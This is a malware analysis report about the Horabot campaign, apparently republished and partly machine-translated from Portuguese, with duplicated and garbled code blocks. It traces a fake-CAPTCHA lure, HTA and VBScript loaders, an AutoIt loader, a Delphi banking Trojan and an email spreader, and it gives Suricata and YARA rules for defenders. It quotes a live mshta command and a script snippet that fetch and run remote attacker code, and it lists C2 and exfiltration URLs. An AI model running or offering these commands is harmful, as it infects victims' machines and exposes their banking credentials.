Introdução
Nesta edição de nossa série Arquivos SOC, apresentaremos uma campanha direcionada que nossa equipe de MDR identificou e perseguiu há alguns meses. Envolve uma ameaça conhecida como horabotum pacote que consiste em um infame Trojan bancário, um espalhador de e-mail e uma cadeia de ataque notavelmente complexa.
Embora pesquisas anteriores tenham documentado campanhas do Horabot (aqui e aqui), nosso objetivo é destacar o quão ativa esta ameaça permanece e compartilhar alguns aspectos não abordados nessas análises.
O ponto de partida
Como sempre, nossa história começa com um alerta que apareceu no ambiente de um dos nossos clientes. A regra que o desencadeou é genérica, mas eficaz na detecção de atividades suspeitas de mshta. O caso progrediu a partir desse alerta inicial, mas felizmente terminou com uma nota positiva. O Kaspersky Endpoint Security interveio e encerrou o processo malicioso (por meio de um módulo de defesa proativo (PDM)) e removeu os arquivos relacionados antes que a ameaça pudesse progredir ainda mais.
O incidente foi então trazido à discussão em uma de nossas reuniões semanais. Isso foi suficiente para despertar a curiosidade de um dos nossos analistas, que se aprofundou na arte por trás desta campanha.
A cadeia de ataque
Depois de alguma pesquisa e muita investigação na infraestrutura do adversário, nossa equipe conseguiu mapear a cadeia de destruição de ponta a ponta. Nesta seção, detalharemos cada etapa e explicaremos como a operação se desenrola.
Etapa 1: isca inicial
Seguindo a trilha observada no incidente relatado, a atividade parece começar com uma página CAPTCHA falsa padrão. No incidente mencionado acima, esta página estava localizada na URL https://evs.grupotuis(.)buzz/0capcha17/ (detalhes sobre seu conteúdo podem ser encontrados aqui).
Semelhante aos casos Lumma e Amadey, esta página instrui o usuário a abrir a caixa de diálogo Executar, colar um comando malicioso nela e executá-lo. Uma vez enganada, a vítima cola um comando semelhante ao abaixo:
mshta https://evs.grupotuis(.)buzz/0capcha17/DMEENLIGGB.hta
mshta https://evs.grupotuis(.)buzz/0capcha17/DMEENLIGGB.hta |
Este comando recuperou e executou um arquivo HTA que continha o seguinte:
É essencialmente um pequeno carregador. Quando executado, ele abre uma janela em branco e imediatamente extrai e executa uma carga JavaScript externa hospedada no domínio do invasor. O corpo contém um grande bloco de texto aleatório e sem sentido que serve apenas como preenchimento.
Estágio 2: Uma pitada de polimorfismo do lado do servidor
A carga carregada pelo arquivo HTA cria dinamicamente um novo element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.
var scriptEle = document.createElement(“script”); scriptEle.setAttribute(“src”, “https://pdj.gruposhac(.)lat/g1/ld1/”); scriptEle.setAttribute(“type”, “text/vbscript”); document.getElementsByTagName(‘head’)(0).appendChild(scriptEle); |
The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.
The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.
The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.
var scriptEle = document.createElement(“script”); scriptEle.setAttribute(“src”, “https://pdj.gruposhac(.)lat/g1/”); scriptEle.setAttribute(“type”, “text/vbscript”); document.getElementsByTagName(‘head’)(0).appendChild(scriptEle); |
Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:
- Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
- Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
- Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
- Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
- Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path
C:UsersPublicLAPTOP-0QF0NEUP4. - PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
- Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
- Cleanup routines: removes temporary files and terminates selected processes.
During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.
As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.
Stage 3: The evil combination of AutoIT and a banking Trojan
It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.
The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.
We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:
- The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.
- It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.
- It includes SQL commands used to harvest credentials from browsers.
Once loaded into memory, the Trojan sends several HTTP requests to different URLs:
| URL | Description |
| https://cgf.facturastbs(.)shop/0725/a/home (GET) | A page containing an encrypted configuration |
| https://cfg.brasilinst(.)site/a/br/logs/index.php?CHLG (POST) | A URL for posting host information, but in our lab tests the value was empty. Request content example: Host: ‘ ‘ |
| https://aufal.filevexcasv(.)buzz/on7/index15.php (POST) https://aufal.filevexcasv(.)buzz/on7all/index15.php (POST) | A URL used to post victim information Request content example: AT: ‘ Microsoft Windows 10 Pro FLARE-VM (64)bit REMFLARE-VM’ MD: 040825VS |
| https://cgf.facturastbs(.)shop/a/08/150822/au/at.html | HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase. |
| https://upstar.pics/a/08/150822/up/up (GET) | The resource was already unavailable at the time our testing was conducted. |
| https://cgf.midasx.site/a/08/150822/au/au (GET) | The page containing the first stage leading to the spreader. |
Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.
The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".
We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:
current_key = int(encrypted_hex(0:2), 16)
i = 2
while i < len(encrypted_hex):
next_key = int(encrypted_hex(i:i+2), 16)
if key_index >= len(key_string):
key_index = 0
key_char = ord(key_string(key_index))
xored_value = next_key ^ key_char
if xored_value > current_key:
decrypted_char = xored_value – current_key
else:
decrypted_char = (xored_value + 0xFF) – current_key
result += chr(decrypted_char)
current_key = next_key
key_index += 1
i += 2
return result
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | def decrypt_string(encrypted_hex): key_string = “0xFF0wx8066h” key_index = 0 result = “”
current_key = int(encrypted_hex(0:2), 16)
i = 2 while i < len(encrypted_hex): next_key = int(encrypted_hex(i:i+2), 16) if key_index >= len(key_string): key_index = 0 key_char = ord(key_string(key_index)) xored_value = next_key ^ key_char
if xored_value > current_key: decrypted_char = xored_value – current_key else: decrypted_char = (xored_value + 0xFF) – current_key
result += chr(decrypted_char) current_key = next_key key_index += 1 i += 2
return result |
Python implementation of the decryption routine
The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.
The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.
To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.
Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.
If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.
Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:
In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.
The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.
The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:

Comparison of “PING” and “Close” commands (sample disassembly on the left, Delphi Remote Access source code on the right)
Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.
The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.
After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):
The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:
##(key1)(key2)(key3)(encrypted_hex_data)## |
Here’s a Python snippet to decode such traffic:
core = obfuscated(2:-2)
key1 = int(core(0:4))
key2 = int(core(4:8))
key3 = int(core(8:12))
hex_data = core(12:)
current_key = key1
output_chars = ()
for i in range(0, len(hex_data), 2):
xored = int(hex_data(i:i+2), 16)
high_byte = (current_key >> 8) & 0xFF
original_char = chr(xored ^ high_byte)
output_chars.append(original_char)
current_key = ((current_key + xored) * key2 + key3) & 0xFFFF
return “”.join(output_chars)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | def deobfuscate_traffic(obfuscated): if not (obfuscated.startswith(“##”) and obfuscated.endswith(“##”)): raise ValueError(“Invalid format”)
core = obfuscated(2:–2)
key1 = int(core(0:4)) key2 = int(core(4:8)) key3 = int(core(8:12))
hex_data = core(12:)
current_key = key1 output_chars = ()
for i in range(0, len(hex_data), 2): xored = int(hex_data(i:i+2), 16)
high_byte = (current_key >> 8) & 0xFF original_char = chr(xored ^ high_byte) output_chars.append(original_char)
current_key = ((current_key + xored) * key2 + key3) & 0xFFFF
return “”.join(output_chars) |
Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:
alert tcp any any -> any any ( msg:“Horabot C2 socket communication (##hex##)”; flow:established; content:“##”; depth:2; fast_pattern; content:“##”; endswith; pcre:“/^##(1-9)(0-9){3}(1-9)(0-9){3}(1-9)(0-9){3}(0-9A-F)+##$/”; classtype:trojan–activity; sid:1900000; rev:1; metadata:author Domenico; ) |
As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.
The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.
Below is a collage of pictures where the targeted bank overlays are visible.
Stage 4: The spreader
In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.
We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.
In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.
Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:
- Harvest emails via the MAPI namespace;
- Exfiltrate unique email addresses to the C2;
- Clean up the outbox;
- Filter the exfiltrated email addresses against a blocklist of keywords;
- Prepare a phishing email containing a malicious PDF;
- Mass-distribute the email to the filtered addresses.
One interesting point is that the spreader’s code and comments allow us to extract some useful intel:
- All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
- It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
- One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”
Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.
Detection engineering and threat hunting opportunities
After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.
YARA rules
The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.
rule Horabot_Delphi_Trojan
{
meta:
author = “maT”
description = “Detects Horabot payload/trojan (Delphi DLL)”
hash_01 = “6272ef6ac1de8fb4bdd4a760be7ba5ed”
hash_02 = “4caa797130b5f7116f11c0b48013e430”
hash_03 = “c882d948d44a65019df54b0b2996677f”
condition:
uint32be(0) == 0x4d5a5000 and
filesize < 150MB and
pe.is_dll() and
pe.number_of_exports == 4 and
pe.exports(“dbkFCallWrapperAddr”) and
pe.exports(“__dbk_fcall_wrapper”) and
pe.exports(“TMethodImplementationIntercept”) and
pe.exports(/^(A-Z)(0-9){6}_(A-Z0-9)$/)
}
rule Horabot_AutoIT_Loader
{
meta:
author = “maT”
description = “Detects AutoIT script used as a loader by Horabot”
strings:
$winapi_01 = “Advapi32.dll”
$winapi_02 = “CryptDeriveKey”
$winapi_03 = “CryptDecrypt”
$winapi_04 = “MemoryLoadLibrary”
$winapi_05 = “VirtualAlloc”
$winapi_06 = “DllCallAddress”
$str_seed = “99521487”
$str_func01 = “B080723_N”
$str_func02 = “A040822_1”
$opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = “B080723_N” CRLF Local $
$opt_aes192 = “0x0000660f” // CALG_AES_192
$opt_md5 = “0x00008003” // CALG_MD5
condition:
filesize < 100KB and
all of ($winapi*) and
(
1 of ($str*) or
all of ($opt*)
)
}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | import “pe”
rule Horabot_Delphi_Trojan { meta: author = “maT” description = “Detects Horabot payload/trojan (Delphi DLL)” hash_01 = “6272ef6ac1de8fb4bdd4a760be7ba5ed” hash_02 = “4caa797130b5f7116f11c0b48013e430” hash_03 = “c882d948d44a65019df54b0b2996677f”
condition: uint32be(0) == 0x4d5a5000 and filesize < 150MB and pe.is_dll() and pe.number_of_exports == 4 and pe.exports(“dbkFCallWrapperAddr”) and pe.exports(“__dbk_fcall_wrapper”) and pe.exports(“TMethodImplementationIntercept”) and pe.exports(/^(A–Z)(0–9){6}_(A–Z0–9)$/) }
rule Horabot_AutoIT_Loader { meta: author = “maT” description = “Detects AutoIT script used as a loader by Horabot”
strings: $winapi_01 = “Advapi32.dll” $winapi_02 = “CryptDeriveKey” $winapi_03 = “CryptDecrypt” $winapi_04 = “MemoryLoadLibrary” $winapi_05 = “VirtualAlloc” $winapi_06 = “DllCallAddress”
$str_seed = “99521487” $str_func01 = “B080723_N” $str_func02 = “A040822_1”
$opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = “B080723_N” CRLF Local $ $opt_aes192 = “0x0000660f” // CALG_AES_192 $opt_md5 = “0x00008003” // CALG_MD5
condition: filesize < 100KB and all of ($winapi*) and ( 1 of ($str*) or all of ($opt*) )
} |
Hunting queries
You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.
| VirusTotal Intelligence | entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”)) |
| URLScan | page.url.keyword:/.*/((0-9){6}|reserva)/(au|up)/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR */g1/ld1* OR */g1/auxld1* OR */au/gerapdf/blqs1* OR */au/gerauto.php* OR */g1/ctld* OR */index25.php OR */index15.php) |
IoCs
Deseja saber mais sobre Segurança Digital & Antivírus Clique Aqui!
Horabot,Malware,Descrições de malware,Tecnologias de malware,Ponteiro,Técnicas de spammer,Trojan,Trojan Banker

Perito em Computação Forense e Crimes Cibernéticos
Investigação Digital | Laudos Técnicos | Resposta a Incidentes
Bacharel em Sistemas da Informação, Certificado Microsoft Azure IA e MOS. Trabalho como Administrador de Redes, Firewall e Servidores Windows e Linux!
Minhas atividades favoritas são: Caminhar, Fazer Trilhas, Natureza, Insetos e claro ler sobre Tecnologia.























